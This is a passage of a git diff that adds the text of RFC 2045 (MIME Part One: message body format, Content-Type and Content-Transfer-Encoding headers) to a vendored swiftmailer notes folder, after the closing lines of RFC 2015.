92957 - M1/102 + Los Angeles, CA 90009-2957 + + Phone: +1 310 336 8040 + Fax: +1 310 336 4402 + + + + +Elkins Standards Track [Page 7] + +RFC 2015 MIME Security with PGP October 1996 + + +References + + [1] Galvin, J., Murphy, G., Crocker, S., and N. Freed, "Security + Multiparts for MIME: Multipart/Signed and Multipart/Encrypted", + RFC 1847, October 1995. + + [2] Galvin, J., Murphy, G., Crocker, S., and N. Freed, "MIME Object + Security Services", RFC 1848, October 1995. + + [3] Atkins, D., Stallings, W., and P. Zimmermann, "PGP Message + Exchange Formats", RFC 1991, August 1996. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +Elkins Standards Track [Page 8] + diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc2045.txt b/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc2045.txt new file mode 100644 index 00000000..9f286b1a --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc2045.txt @@ -0,0 +1,1739 @@ + + + + + + +Network Working Group N. Freed +Request for Comments: 2045 Innosoft +Obsoletes: 1521, 1522, 1590 N. Borenstein +Category: Standards Track First Virtual + November 1996 + + + Multipurpose Internet Mail Extensions + (MIME) Part One: + Format of Internet Message Bodies + +Status of this Memo + + This document specifies an Internet standards track protocol for the + Internet community, and requests discussion and suggestions for + improvements. Please refer to the current edition of the "Internet + Official Protocol Standards" (STD 1) for the standardization state + and status of this protocol. Distribution of this memo is unlimited. + +Abstract + + STD 11, RFC 822, defines a message representation protocol specifying + considerable detail about US-ASCII message headers, and leaves the + message content, or message body, as flat US-ASCII text. This set of + documents, collectively called the Multipurpose Internet Mail + Extensions, or MIME, redefines the format of messages to allow for + + (1) textual message bodies in character sets other than + US-ASCII, + + (2) an extensible set of different formats for non-textual + message bodies, + + (3) multi-part message bodies, and + + (4) textual header information in character sets other than + US-ASCII. + + These documents are based on earlier work documented in RFC 934, STD + 11, and RFC 1049, but extends and revises them. Because RFC 822 said + so little about message bodies, these documents are largely + orthogonal to (rather than a revision of) RFC 822. + + This initial document specifies the various headers used to describe + the structure of MIME messages. The second document, RFC 2046, + defines the general structure of the MIME media typing system and + defines an initial set of media types. The third document, RFC 2047, + describes extensions to RFC 822 to allow non-US-ASCII text data in + + + +Freed & Borenstein Standards Track [Page 1] + +RFC 2045 Internet Message Bodies November 1996 + + + Internet mail header fields. The fourth document, RFC 2048, specifies + various IANA registration procedures for MIME-related facilities. The + fifth and final document, RFC 2049, describes MIME conformance + criteria as well as providing some illustrative examples of MIME + message formats, acknowledgements, and the bibliography. + + These documents are revisions of RFCs 1521, 1522, and 1590, which + themselves were revisions of RFCs 1341 and 1342. An appendix in RFC + 2049 describes differences and changes from previous versions. + +Table of Contents + + 1. Introduction ......................................... 3 + 2. Definitions, Conventions, and Generic BNF Grammar .... 5 + 2.1 CRLF ................................................ 5 + 2.2 Character Set ....................................... 6 + 2.3 Message ............................................. 6 + 2.4 Entity .............................................. 6 + 2.5 Body Part ........................................... 7 + 2.6 Body ................................................ 7 + 2.7 7bit Data ........................................... 7 + 2.8 8bit Data ........................................... 7 + 2.9 Binary Data ......................................... 7 + 2.10 Lines .............................................. 7 + 3. MIME Header Fields ................................... 8 + 4. MIME-Version Header Field ............................ 8 + 5. Content-Type Header Field ............................ 10 + 5.1 Syntax of the Content-Type Header Field ............. 12 + 5.2 Content-Type Defaults ............................... 14 + 6. Content-Transfer-Encoding Header Field ............... 14 + 6.1 Content-Transfer-Encoding Syntax .................... 14 + 6.2 Content-Transfer-Encodings Semantics ................ 15 + 6.3 New Content-Transfer-Encodings ...................... 16 + 6.4 Interpretation and Use .............................. 16 + 6.5 Translating Encodings ............................... 18 + 6.6 Canonical Encoding Model ............................ 19 + 6.7 Quoted-Printable Content-Transfer-Encoding .......... 19 + 6.8 Base64 Content-Transfer-Encoding .................... 24 + 7. Content-ID Header Field .............................. 26 + 8. Content-Description Header Field ..................... 27 + 9. Additional MIME Header Fields ........................ 27 + 10. Summary ............................................. 27 + 11. Security Considerations ............................. 27 + 12. Authors' Addresses .................................. 28 + A. Collected Grammar .................................... 29 + + + + + + +Freed & Borenstein Standards Track [Page 2] + +RFC 2045 Internet Message Bodies November 1996 + + +1. Introduction + + Since its publication in 1982, RFC 822 has defined the standard + format of textual mail messages on the Internet. Its success has + been such that the RFC 822 format has been adopted, wholly or + partially, well beyond the confines of the Internet and the Internet + SMTP transport defined by RFC 821. As the format has seen wider use, + a number of limitations have proven increasingly restrictive for the + user community. + + RFC 822 was intended to specify a format for text messages. As such, + non-text messages, such as multimedia messages that might include + audio or images, are simply not mentioned. Even in the case of text, + however, RFC 822 is inadequate for the needs of mail users whose + languages require the use of character sets richer than US-ASCII. + Since RFC 822 does not specify mechanisms for mail containing audio, + video, Asian language text, or even text in most European languages, + additional specifications are needed. + + One of the notable limitations of RFC 821/822 based mail systems is + the fact that they limit the contents of electronic mail messages to + relatively short lines (e.g. 1000 characters or less [RFC-821]) of + 7bit US-ASCII. This forces users to convert any non-textual data + that they may wish to send into seven-bit bytes representable as + printable US-ASCII characters before invoking a local mail UA (User + Agent, a program with which human users send and receive mail). + Examples of such encodings currently used in the Internet include + pure hexadecimal, uuencode, the 3-in-4 base 64 scheme specified in + RFC 1421, the Andrew Toolkit Representation [ATK], and many others. + + The limitations of RFC 822 mail become even more apparent as gateways + are designed to allow for the exchange of mail messages between RFC + 822 hosts and X.400 hosts. X.400 [X400] specifies mechanisms for the + inclusion of non-textual material within electronic mail messages. + The current standards for the mapping of X.400 messages to RFC 822 + messages specify either that X.400 non-textual material must be + converted to (not encoded in) IA5Text format, or that they must be + discarded, notifying the RFC 822 user that discarding has occurred. + This is clearly undesirable, as information that a user may wish to + receive is lost. Even though a user agent may not have the + capability of dealing with the non-textual material, the user might + have some mechanism external to the UA that can extract useful + information from the material. Moreover, it does not allow for the + fact that the message may eventually be gatewayed back into an X.400 + message handling system (i.e., the X.400 message is "tunneled" + through Internet mail), where the non-textual information would + definitely become useful again. + + + + +Freed & Borenstein Standards Track [Page 3] + +RFC 2045 Internet Message Bodies November 1996 + + + This document describes several mechanisms that combine to solve most + of these problems without introducing any serious incompatibilities + with the existing world of RFC 822 mail. In particular, it + describes: + + (1) A MIME-Version header field, which uses a version + number to declare a message to be conformant with MIME + and allows mail processing agents to distinguish + between such messages and those generated by older or + non-conformant software, which are presumed to lack + such a field. + + (2) A Content-Type header field, generalized from RFC 1049, + which can be used to specify the media type and subtype + of data in the body of a message and to fully specify + the native representation (canonical form) of such + data. + + (3) A Content-Transfer-Encoding header field, which can be + used to specify both the encoding transformation that + was applied to the body and the domain of the result. + Encoding transformations other than the identity + transformation are usually applied to data in order to + allow it to pass through mail transport mechanisms + which may have data or character set limitations. + + (4) Two additional header fields that can be used to + further describe the data in a body, the Content-ID and + Content-Description header fields. + + All of the header fields defined in this document are subject to the + general syntactic rules for header fields specified in RFC 822. In + particular, all of these header fields except for Content-Disposition + can include RFC 822 comments, which have no semantic content and + should be ignored during MIME processing. + + Finally, to specify and promote interoperability, RFC 2049 provides a + basic applicability statement for a subset of the above mechanisms + that defines a minimal level of "conformance" with this document. + + HISTORICAL NOTE: Several of the mechanisms described in this set of + documents may seem somewhat strange or even baroque at first reading. + It is important to note that compatibility with existing standards + AND robustness across existing practice were two of the highest + priorities of the working group that developed this set of documents. + In particular, compatibility was always favored over elegance. + + + + + +Freed & Borenstein Standards Track [Page 4] + +RFC 2045 Internet Message Bodies November 1996 + + + Please refer to the current edition of the "Internet Official + Protocol Standards" for the standardization state and status of this + protocol. RFC 822 and STD 3, RFC 1123 also provide essential + background for MIME since no conforming implementation of MIME can + violate them. In addition, several other informational RFC documents + will be of interest to the MIME implementor, in particular RFC 1344, + RFC 1345, and RFC 1524. + +2. Definitions, Conventions, and Generic BNF Grammar + + Although the mechanisms specified in this set of documents are all + described in prose, most are also described formally in the augmented + BNF notation of RFC 822. Implementors will need to be familiar with + this notation in order to understand this set of documents, and are + referred to RFC 822 for a complete explanation of the augmented BNF + notation. + + Some of the augmented BNF in this set of documents makes named + references to syntax rules defined in RFC 822. A complete formal + grammar, then, is obtained by combining the collected grammar + appendices in each document in this set with the BNF of RFC 822 plus + the modifications to RFC 822 defined in RFC 1123 (which specifically + changes the syntax for `return', `date' and `mailbox'). + + All numeric and octet values are given in decimal notation in this + set of documents. All media type values, subtype values, and + parameter names as defined are case-insensitive. However, parameter + values are case-sensitive unless otherwise specified for the specific + parameter. + + FORMATTING NOTE: Notes, such at this one, provide additional + nonessential information which may be skipped by the reader without + missing anything essential. The primary purpose of these non- + essential notes is to convey information about the rationale of this + set of documents, or to place these documents in the proper + historical or evolutionary context. Such information may in + particular be skipped by those who are focused entirely on building a + conformant implementation, but may be of use to those who wish to + understand why certain design choices were made. + +2.1. CRLF + + The term CRLF, in this set of documents, refers to the sequence of + octets corresponding to the two US-ASCII characters CR (decimal value + 13) and LF (decimal value 10) which, taken together, in this order, + denote a line break in RFC 822 mail. + + + + + +Freed & Borenstein Standards Track [Page 5] + +RFC 2045 Internet Message Bodies November 1996 + + +2.2. Character Set + + The term "character set" is used in MIME to refer to a method of + converting a sequence of octets into a sequence of characters. Note + that unconditional and unambiguous conversion in the other direction + is not required, in that not all characters may be representable by a + given character set and a character set may provide more than one + sequence of octets to represent a particular sequence of characters. + + This definition is intended to allow various kinds of character + encodings, from simple single-table mappings such as US-ASCII to + complex table switching methods such as those that use ISO 2022's + techniques, to be used as character sets. However, the definition + associated with a MIME character set name must fully specify the + mapping to be performed. In particular, use of external profiling + information to determine the exact mapping is not permitted. + + NOTE: The term "character set" was originally to describe such + straightforward schemes as US-ASCII and ISO-8859-1 which have a + simple one-to-one mapping from single octets to single characters. + Multi-octet coded character sets and switching techniques make the + situation more complex. For example, some communities use the term + "character encoding" for what MIME calls a "character set", while + using the phrase "coded character set" to denote an abstract mapping + from integers (not octets) to characters. + +2.3. Message + + The term "message", when not further qualified, means either a + (complete or "top-level") RFC 822 message being transferred on a + network, or a message encapsulated in a body of type "message/rfc822" + or "message/partial". + +2.4. Entity + + The term "entity", refers specifically to the MIME-defined header + fields and contents of either a message or one of the parts in the + body of a multipart entity. The specification of such entities is + the essence of MIME. Since the contents of an entity are often + called the "body", it makes sense to speak about the body of an + entity. Any sort of field may be present in the header of an entity, + but only those fields whose names begin with "content-" actually have + any MIME-related meaning. Note that this does NOT imply thay they + have no meaning at all -- an entity that is also a message has non- + MIME header fields whose meanings are defined by RFC 822. + + + + + + +Freed & Borenstein Standards Track [Page 6] + +RFC 2045 Internet Message Bodies November 1996 + + +2.5. Body Part + + The term "body part" refers to an entity inside of a multipart + entity. + +2.6. Body + + The term "body", when not further qualified, means the body of an + entity, that is, the body of either a message or of a body part. + + NOTE: The previous four definitions are clearly circular. This is + unavoidable, since the overall structure of a MIME message is indeed + recursive. + +2.7. 7bit Data + + "7bit data" refers to data that is all represented as relatively + short lines with 998 octets or less between CRLF line separation + sequences [RFC-821]. No octets with decimal values greater than 127 + are allowed and neither are NULs (octets with decimal value 0). CR + (decimal value 13) and LF (decimal value 10) octets only occur as + part of CRLF line separation sequences. + +2.8. 8bit Data + + "8bit data" refers to data that is all represented as relatively + short lines with 998 octets or less between CRLF line separation + sequences [RFC-821]), but octets with decimal values greater than 127 + may be used. As with "7bit data" CR and LF octets only occur as part + of CRLF line separation sequences and no NULs are allowed. + +2.9. Binary Data + + "Binary data" refers to data where any sequence of octets whatsoever + is allowed. + +2.10. Lines + + "Lines" are defined as sequences of octets separated by a CRLF + sequences. This is consistent with both RFC 821 and RFC 822. + "Lines" only refers to a unit of data in a message, which may or may + not correspond to something that is actually displayed by a user + agent. + + + + + + + + +Freed & Borenstein Standards Track [Page 7] + +RFC 2045 Internet Message Bodies November 1996 + + +3. MIME Header Fields + + MIME defines a number of new RFC 822 header fields that are used to + describe the content of a MIME entity. These header fields occur in + at least two contexts: + + (1) As part of a regular RFC 822 message header. + + (2) In a MIME body part header within a multipart + construct. + + The formal definition of these header fields is as follows: + + entity-headers := [ content CRLF ] + [ encoding CRLF ] + [ id CRLF ] + [ description CRLF ] + *( MIME-extension-field CRLF ) + + MIME-message-headers := entity-headers + fields + version CRLF + ; The ordering of the header + ; fields implied by this BNF + ; definition should be ignored. + + MIME-part-headers := entity-headers + [ fields ] + ; Any field not beginning with + ; "content-" can have no defined + ; meaning and may be ignored. + ; The ordering of the header + ; fields implied by this BNF + ; definition should be ignored. + + The syntax of the various specific MIME header fields will be + described in the following sections. + +4. MIME-Version Header Field + + Since RFC 822 was published in 1982, there has really been only one + format standard for Internet messages, and there has been little + perceived need to declare the format standard in use. This document + is an independent specification that complements RFC 822. Although + the extensions in this document have been defined in such a way as to + be compatible with RFC 822, there are still circumstances in which it + might be desirable for a mail-processing agent to know whether a + message was composed with the new standard in mind. + + + +Freed & Borenstein Standards Track [Page 8] + +RFC 2045 Internet Message Bodies November 1996 + + + Therefore, this document defines a new header field, "MIME-Version", + which is to be used to declare the version of the Internet message + body format standard in use. + + Messages composed in accordance with this document MUST include such + a header field, with the following verbatim text: + + MIME-Version: 1.0 + + The presence of this header field is an assertion that the message + has been composed in compliance with this document. + + Since it is possible that a future document might extend the message + format standard again, a formal BNF is given for the content of the + MIME-Version field: + + version := "MIME-Version" ":" 1*DIGIT "." 1*DIGIT + + Thus, future format specifiers, which might replace or extend "1.0", + are constrained to be two integer fields, separated by a period. If + a message is received with a MIME-version value other than "1.0", it + cannot be assumed to conform with this document. + + Note that the MIME-Version header field is required at the top level + of a message. It is not required for each body part of a multipart + entity. It is required for the embedded headers of a body of type + "message/rfc822" or "message/partial" if and only if the embedded + message is itself claimed to be MIME-conformant. + + It is not possible to fully specify how a mail reader that conforms + with MIME as defined in this document should treat a message that + might arrive in the future with some value of MIME-Version other than + "1.0". + + It is also worth noting that version control for specific media types + is not accomplished using the MIME-Version mechanism. In particular, + some formats (such as application/postscript) have version numbering + conventions that are internal to the media format. Where such + conventions exist, MIME does nothing to supersede them. Where no + such conventions exist, a MIME media type might use a "version" + parameter in the content-type field if necessary. + + + + + + + + + + +Freed & Borenstein Standards Track [Page 9] + +RFC 2045 Internet Message Bodies November 1996 + + + NOTE TO IMPLEMENTORS: When checking MIME-Version values any RFC 822 + comment strings that are present must be ignored. In particular, the + following four MIME-Version fields are equivalent: + + MIME-Version: 1.0 + + MIME-Version: 1.0 (produced by MetaSend Vx.x) + + MIME-Version: (produced by MetaSend Vx.x) 1.0 + + MIME-Version: 1.(produced by MetaSend Vx.x)0 + + In the absence of a MIME-Version field, a receiving mail user agent + (whether conforming to MIME requirements or not) may optionally + choose to interpret the body of the message according to local + conventions. Many such conventions are currently in use and it + should be noted that in practice non-MIME messages can contain just + about anything. + + It is impossible to be certain that a non-MIME mail message is + actually plain text in the US-ASCII character set since it might well + be a message that, using some set of nonstandard local conventions + that predate MIME, includes text in another character set or non- + textual data presented in a manner that cannot be automatically + recognized (e.g., a uuencoded compressed UNIX tar file). + +5. Content-Type Header Field + + The purpose of the Content-Type field is to describe the data + contained in the body fully enough that the receiving user agent can + pick an appropriate agent or mechanism to present the data to the + user, or otherwise deal with the data in an appropriate manner. The + value in this field is called a media type. + + HISTORICAL NOTE: The Content-Type header field was first defined in + RFC 1049. RFC 1049 used a simpler and less powerful syntax, but one + that is largely compatible with the mechanism given here. + + The Content-Type header field specifies the nature of the data in the + body of an entity by giving media type and subtype identifiers, and + by providing auxiliary information that may be required for certain + media types. After the media type and subtype names, the remainder + of the header field is simply a set of parameters, specified in an + attribute=value notation. The ordering of parameters is not + significant. + + + + + + +Freed & Borenstein Standards Track [Page 10] + +RFC 2045 Internet Message Bodies November 1996 + + + In general, the top-level media type is used to declare the general + type of data, while the subtype specifies a specific format for that + type of data. Thus, a media type of "image/xyz" is enough to tell a + user agent that the data is an image, even if the user agent has no + knowledge of the specific image format "xyz". Such information can + be used, for example, to decide whether or not to show a user the raw + data from an unrecognized subtype -- such an action might be + reasonable for unrecognized subtypes of text, but not for + unrecognized subtypes of image or audio. For this reason, registered + subtypes of text, image, audio, and video should not contain embedded + information that is really of a different type. Such compound + formats should be represented using the "multipart" or "application" + types. + + Parameters are modifiers of the media subtype, and as such do not + fundamentally affect the nature of the content. The set of + meaningful parameters depends on the media type and subtype. Most + parameters are associated with a single specific subtype. However, a + given top-level media type may define parameters which are applicable + to any subtype of that type. Parameters may be required by their + defining content type or subtype or they may be optional. MIME + implementations must ignore any parameters whose names they do not + recognize. + + For example, the "charset" parameter is applicable to any subtype of + "text", while the "boundary" parameter is required for any subtype of + the "multipart" media type. + + There are NO globally-meaningful parameters that apply to all media + types. Truly global mechanisms are best addressed, in the MIME + model, by the definition of additional Content-* header fields. + + An initial set of seven top-level media types is defined in RFC 2046. + Five of these are discrete types whose content is essentially opaque + as far as MIME processing is concerned. The remaining two are + composite types whose contents require additional handling by MIME + processors. + + This set of top-level media types is intended to be substantially + complete. It is expected that additions to the larger set of + supported types can generally be accomplished by the creation of new + subtypes of these initial types. In the future, more top-level types + may be defined only by a standards-track extension to this standard. + If another top-level type is to be used for any reason, it must be + given a name starting with "X-" to indicate its non-standard status + and to avoid a potential conflict with a future official name. + + + + + +Freed & Borenstein Standards Track [Page 11] + +RFC 2045 Internet Message Bodies November 1996 + + +5.1. Syntax of the Content-Type Header Field + + In the Augmented BNF notation of RFC 822, a Content-Type header field + value is defined as follows: + + content := "Content-Type" ":" type "/" subtype + *(";" parameter) + ; Matching of media type and subtype + ; is ALWAYS case-insensitive. + + type := discrete-type / composite-type + + discrete-type := "text" / "image" / "audio" / "video" / + "application" / extension-token + + composite-type := "message" / "multipart" / extension-token + + extension-token := ietf-token / x-token + + ietf-token := + + x-token := + + subtype := extension-token / iana-token + + iana-token := + + parameter := attribute "=" value + + attribute := token + ; Matching of attributes + ; is ALWAYS case-insensitive. + + value := token / quoted-string + + token := 1* + + tspecials := "(" / ")" / "<" / ">" / "@" / + "," / ";" / ":" / "\" / <"> + "/" / "[" / "]" / "?" / "=" + ; Must be in quoted-string, + ; to use within parameter values + + + +Freed & Borenstein Standards Track [Page 12] + +RFC 2045 Internet Message Bodies November 1996 + + + Note that the definition of "tspecials" is the same as the RFC 822 + definition of "specials" with the addition of the three characters + "/", "?", and "=", and the removal of ".". + + Note also that a subtype specification is MANDATORY -- it may not be + omitted from a Content-Type header field. As such, there are no + default subtypes. + + The type, subtype, and parameter names are not case sensitive. For + example, TEXT, Text, and TeXt are all equivalent top-level media + types. Parameter values are normally case sensitive, but sometimes + are interpreted in a case-insensitive fashion, depending on the + intended use. (For example, multipart boundaries are case-sensitive, + but the "access-type" parameter for message/External-body is not + case-sensitive.) + + Note that the value of a quoted string parameter does not include the + quotes. That is, the quotation marks in a quoted-string are not a + part of the value of the parameter, but are merely used to delimit + that parameter value. In addition, comments are allowed in + accordance with RFC 822 rules for structured header fields. Thus the + following two forms + + Content-type: text/plain; charset=us-ascii (Plain text) + + Content-type: text/plain; charset="us-ascii" + + are completely equivalent. + + Beyond this syntax, the only syntactic constraint on the definition + of subtype names is the desire that their uses must not conflict. + That is, it would be undesirable to have two different communities + using "Content-Type: application/foobar" to mean two different + things. The process of defining new media subtypes, then, is not + intended to be a mechanism for imposing restrictions, but simply a + mechanism for publicizing their definition and usage. There are, + therefore, two acceptable mechanisms for defining new media subtypes: + + (1) Private values (starting with "X-") may be defined + bilaterally between two cooperating agents without + outside registration or standardization. Such values + cannot be registered or standardized. + + (2) New standard values should be registered with IANA as + described in RFC 2048. + + The second document in this set, RFC 2046, defines the initial set of + media types for MIME. + + + +Freed & Borenstein Standards Track [Page 13] + +RFC 2045 Internet Message Bodies November 1996 + + +5.2. Content-Type Defaults + + Default RFC 822 messages without a MIME Content-Type header are taken + by this protocol to be plain text in the US-ASCII character set, + which can be explicitly specified as: + + Content-type: text/plain; charset=us-ascii + + This default is assumed if no Content-Type header field is specified. + It is also recommend that this default be assumed when a + syntactically invalid Content-Type header field is encountered. In + the presence of a MIME-Version header field and the absence of any + Content-Type header field, a receiving User Agent can also assume + that plain US-ASCII text was the sender's intent. Plain US-ASCII + text may still be assumed in the absence of a MIME-Version or the + presence of an syntactically invalid Content-Type header field, but + the sender's intent might have been otherwise. + +6. Content-Transfer-Encoding Header Field + + Many media types which could be usefully transported via email are + represented, in their "natural" format, as 8bit character or binary + data. Such data cannot be transmitted over some transfer protocols. + For example, RFC 821 (SMTP) restricts mail messages to 7bit US-ASCII + data with lines no longer than 1000 characters including any trailing + CRLF line separator. + + It is necessary, therefore, to define a standard mechanism for + encoding such data into a 7bit short line format. Proper labelling + of unencoded material in less restrictive formats for direct use over + less restrictive transports is also desireable. This document + specifies that such encodings will be indicated by a new "Content- + Transfer-Encoding" header field. This field has not been defined by + any previous standard. + +6.1. Content-Transfer-Encoding Syntax + + The Content-Transfer-Encoding field's value is a single token + specifying the type of encoding, as enumerated below. Formally: + + encoding := "Content-Transfer-Encoding" ":" mechanism + + mechanism := "7bit" / "8bit" / "binary" / + "quoted-printable" / "base64" / + ietf-token / x-token + + These values are not case sensitive -- Base64 and BASE64 and bAsE64 + are all equivalent. An encoding type of 7BIT requires that the body + + + +Freed & Borenstein Standards Track [Page 14] + +RFC 2045 Internet Message Bodies November 1996 + + + is already in a 7bit mail-ready representation. This is the default + value -- that is, "Content-Transfer-Encoding: 7BIT" is assumed if the + Content-Transfer-Encoding header field is not present. + +6.2. Content-Transfer-Encodings Semantics + + This single Content-Transfer-Encoding token actually provides two + pieces of information. It specifies what sort of encoding + transformation the body was subjected to and hence what decoding + operation must be used to restore it to its original form, and it + specifies what the domain of the result is. + + The transformation part of any Content-Transfer-Encodings specifies, + either explicitly or implicitly, a single, well-defined decoding + algorithm, which for any sequence of encoded octets either transforms + it to the original sequence of octets which was encoded, or shows + that it is illegal as an encoded sequence. Content-Transfer- + Encodings transformations never depend on any additional external + profile information for proper operation. Note that while decoders + must produce a single, well-defined output for a valid encoding no + such restrictions exist for encoders: Encoding a given sequence of + octets to different, equivalent encoded sequences is perfectly legal. + + Three transformations are currently defined: identity, the "quoted- + printable" encoding, and the "base64" encoding. The domains are + "binary", "8bit" and "7bit". + + The Content-Transfer-Encoding values "7bit", "8bit", and "binary" all + mean that the identity (i.e. NO) encoding transformation has been + performed. As such, they serve simply as indicators of the domain of + the body data, and provide useful information about the sort of + encoding that might be needed for transmission in a given transport + system. The terms "7bit data", "8bit data", and "binary data" are + all defined in Section 2. + + The quoted-printable and base64 encodings transform their input from + an arbitrary domain into material in the "7bit" range, thus making it + safe to carry over restricted transports. The specific definition of + the transformations are given below. + + The proper Content-Transfer-Encoding label must always be used. + Labelling unencoded data containing 8bit characters as "7bit" is not + allowed, nor is labelling unencoded non-line-oriented data as + anything other than "binary" allowed. + + Unlike media subtypes, a proliferation of Content-Transfer-Encoding + values is both undesirable and unnecessary. However, establishing + only a single transformation into the "7bit" domain does not seem + + + +Freed & Borenstein Standards Track [Page 15] + +RFC 2045 Internet Message Bodies November 1996 + + + possible. There is a tradeoff between the desire for a compact and + efficient encoding of largely- binary data and the desire for a + somewhat readable encoding of data that is mostly, but not entirely, + 7bit. For this reason, at least two encoding mechanisms are + necessary: a more or less readable encoding (quoted-printable) and a + "dense" or "uniform" encoding (base64). + + Mail transport for unencoded 8bit data is defined in RFC 1652. As of + the initial publication of this document, there are no standardized + Internet mail transports for which it is legitimate to include + unencoded binary data in mail bodies. Thus there are no + circumstances in which the "binary" Content-Transfer-Encoding is + actually valid in Internet mail. However, in the event that binary + mail transport becomes a reality in Internet mail, or when MIME is + used in conjunction with any other binary-capable mail transport + mechanism, binary bodies must be labelled as such using this + mechanism. + + NOTE: The five values defined for the Content-Transfer-Encoding field + imply nothing about the media type other than the algorithm by which + it was encoded or the transport system requirements if unencoded. + +6.3. New Content-Transfer-Encodings + + Implementors may, if necessary, define private Content-Transfer- + Encoding values, but must use an x-token, which is a name prefixed by + "X-", to indicate its non-standard status, e.g., "Content-Transfer- + Encoding: x-my-new-encoding". Additional standardized Content- + Transfer-Encoding values must be specified by a standards-track RFC. + The requirements such specifications must meet are given in RFC 2048. + As such, all content-transfer-encoding namespace except that + beginning with "X-" is explicitly reserved to the IETF for future + use. + + Unlike media types and subtypes, the creation of new Content- + Transfer-Encoding values is STRONGLY discouraged, as it seems likely + to hinder interoperability with little potential benefit + +6.4. Interpretation and Use + + If a Content-Transfer-Encoding header field appears as part of a + message header, it applies to the entire body of that message. If a + Content-Transfer-Encoding header field appears as part of an entity's + headers, it applies only to the body of that entity. If an entity is + of type "multipart" the Content-Transfer-Encoding is not permitted to + have any value other than "7bit", "8bit" or "binary". Even more + severe restrictions apply to some subtypes of the "message" type. + + + + +Freed & Borenstein Standards Track [Page 16] + +RFC 2045 Internet Message Bodies November 1996 + + + It should be noted that most media types are defined in terms of + octets rather than bits, so that the mechanisms described here are + mechanisms for encoding arbitrary octet streams, not bit streams. If + a bit stream is to be encoded via one of these mechanisms, it must + first be converted to an 8bit byte stream using the network standard + bit order ("big-endian"), in which the earlier bits in a stream + become the higher-order bits in a 8bit byte. A bit stream not ending + at an 8bit boundary must be padded with zeroes. RFC 2046 provides a + mechanism for noting the addition of such padding in the case of the + application/octet-stream media type, which has a "padding" parameter. + + The encoding mechanisms defined here explicitly encode all data in + US-ASCII. Thus, for example, suppose an entity has header fields + such as: + + Content-Type: text/plain; charset=ISO-8859-1 + Content-transfer-encoding: base64 + + This must be interpreted to mean that the body is a base64 US-ASCII + encoding of data that was originally in ISO-8859-1, and will be in + that character set again after decoding. + + Certain Content-Transfer-Encoding values may only be used on certain + media types. In particular, it is EXPRESSLY FORBIDDEN to use any + encodings other than "7bit", "8bit", or "binary" with any composite + media type, i.e. one that recursively includes other Content-Type + fields. Currently the only composite media types are "multipart" and + "message". All encodings that are desired for bodies of type + multipart or message must be done at the innermost level, by encoding + the actual body that needs to be encoded. + + It should also be noted that, by definition, if a composite entity + has a transfer-encoding value such as "7bit", but one of the enclosed + entities has a less restrictive value such as "8bit", then either the + outer "7bit" labelling is in error, because 8bit data are included, + or the inner "8bit" labelling placed an unnecessarily high demand on + the transport system because the actual included data were actually + 7bit-safe. + + NOTE ON ENCODING RESTRICTIONS: Though the prohibition against using + content-transfer-encodings on composite body data may seem overly + restrictive, it is necessary to prevent nested encodings, in which + data are passed through an encoding algorithm multiple times, and + must be decoded multiple times in order to be properly viewed. + Nested encodings add considerable complexity to user agents: Aside + from the obvious efficiency problems with such multiple encodings, + they can obscure the basic structure of a message. In particular, + they can imply that several decoding operations are necessary simply + + + +Freed & Borenstein Standards Track [Page 17] + +RFC 2045 Internet Message Bodies November 1996 + + + to find out what types of bodies a message contains. Banning nested + encodings may complicate the job of certain mail gateways, but this + seems less of a problem than the effect of nested encodings on user + agents. + + Any entity with an unrecognized Content-Transfer-Encoding must be + treated as if it has a Content-Type of "application/octet-stream", + regardless of what the Content-Type header field actually says. + + NOTE ON THE RELATIONSHIP BETWEEN CONTENT-TYPE AND CONTENT-TRANSFER- + ENCODING: It may seem that the Content-Transfer-Encoding could be + inferred from the characteristics of the media that is to be encoded, + or, at the very least, that certain Content-Transfer-Encodings could + be mandated for use with specific media types. There are several + reasons why this is not the case. First, given the varying types of + transports used for mail, some encodings may be appropriate for some + combinations of media types and transports but not for others. (For + example, in an 8bit transport, no encoding would be required for text + in certain character sets, while such encodings are clearly required + for 7bit SMTP.) + + Second, certain media types may require different types of transfer + encoding under different circumstances. For example, many PostScript + bodies might consist entirely of short lines of 7bit data and hence + require no encoding at all. Other PostScript bodies (especially + those using Level 2 PostScript's binary encoding mechanism) may only + be reasonably represented using a binary transport encoding. + Finally, since the Content-Type field is intended to be an open-ended + specification mechanism, strict specification of an association + between media types and encodings effectively couples the + specification of an application protocol with a specific lower-level + transport. This is not desirable since the developers of a media + type should not have to be aware of all the transports in use and + what their limitations are. + +6.5. Translating Encodings + + The quoted-printable and base64 encodings are designed so that + conversion between them is possible. The only issue that arises in + such a conversion is the handling of hard line breaks in quoted- + printable encoding output. When converting from quoted-printable to + base64 a hard line break in the quoted-printable form represents a + CRLF sequence in the canonical form of the data. It must therefore be + converted to a corresponding encoded CRLF in the base64 form of the + data. Similarly, a CRLF sequence in the canonical form of the data + obtained after base64 decoding must be converted to a quoted- + printable hard line break, but ONLY when converting text data. + + + + +Freed & Borenstein Standards Track [Page 18] + +RFC 2045 Internet Message Bodies November 1996 + + +6.6. Canonical Encoding Model + + There was some confusion, in the previous versions of this RFC, + regarding the model for when email data was to be converted to + canonical form and encoded, and in particular how this process would + affect the treatment of CRLFs, given that the representation of + newlines varies greatly from system to system, and the relationship + between content-transfer-encodings and character sets. A canonical + model for encoding is presented in RFC 2049 for this reason. + +6.7. Quoted-Printable Content-Transfer-Encoding + + The Quoted-Printable encoding is intended to represent data that + largely consists of octets that correspond to printable characters in + the US-ASCII character set. It encodes the data in such a way that + the resulting octets are unlikely to be modified by mail transport. + If the data being encoded are mostly US-ASCII text, the encoded form + of the data remains largely recognizable by humans. A body which is + entirely US-ASCII may also be encoded in Quoted-Printable to ensure + the integrity of the data should the message pass through a + character-translating, and/or line-wrapping gateway. + + In this encoding, octets are to be represented as determined by the + following rules: + + (1) (General 8bit representation) Any octet, except a CR or + LF that is part of a CRLF line break of the canonical + (standard) form of the data being encoded, may be + represented by an "=" followed by a two digit + hexadecimal representation of the octet's value. The + digits of the hexadecimal alphabet, for this purpose, + are "0123456789ABCDEF". Uppercase letters must be + used; lowercase letters are not allowed. Thus, for + example, the decimal value 12 (US-ASCII form feed) can + be represented by "=0C", and the decimal value 61 (US- + ASCII EQUAL SIGN) can be represented by "=3D". This + rule must be followed except when the following rules + allow an alternative encoding. + + 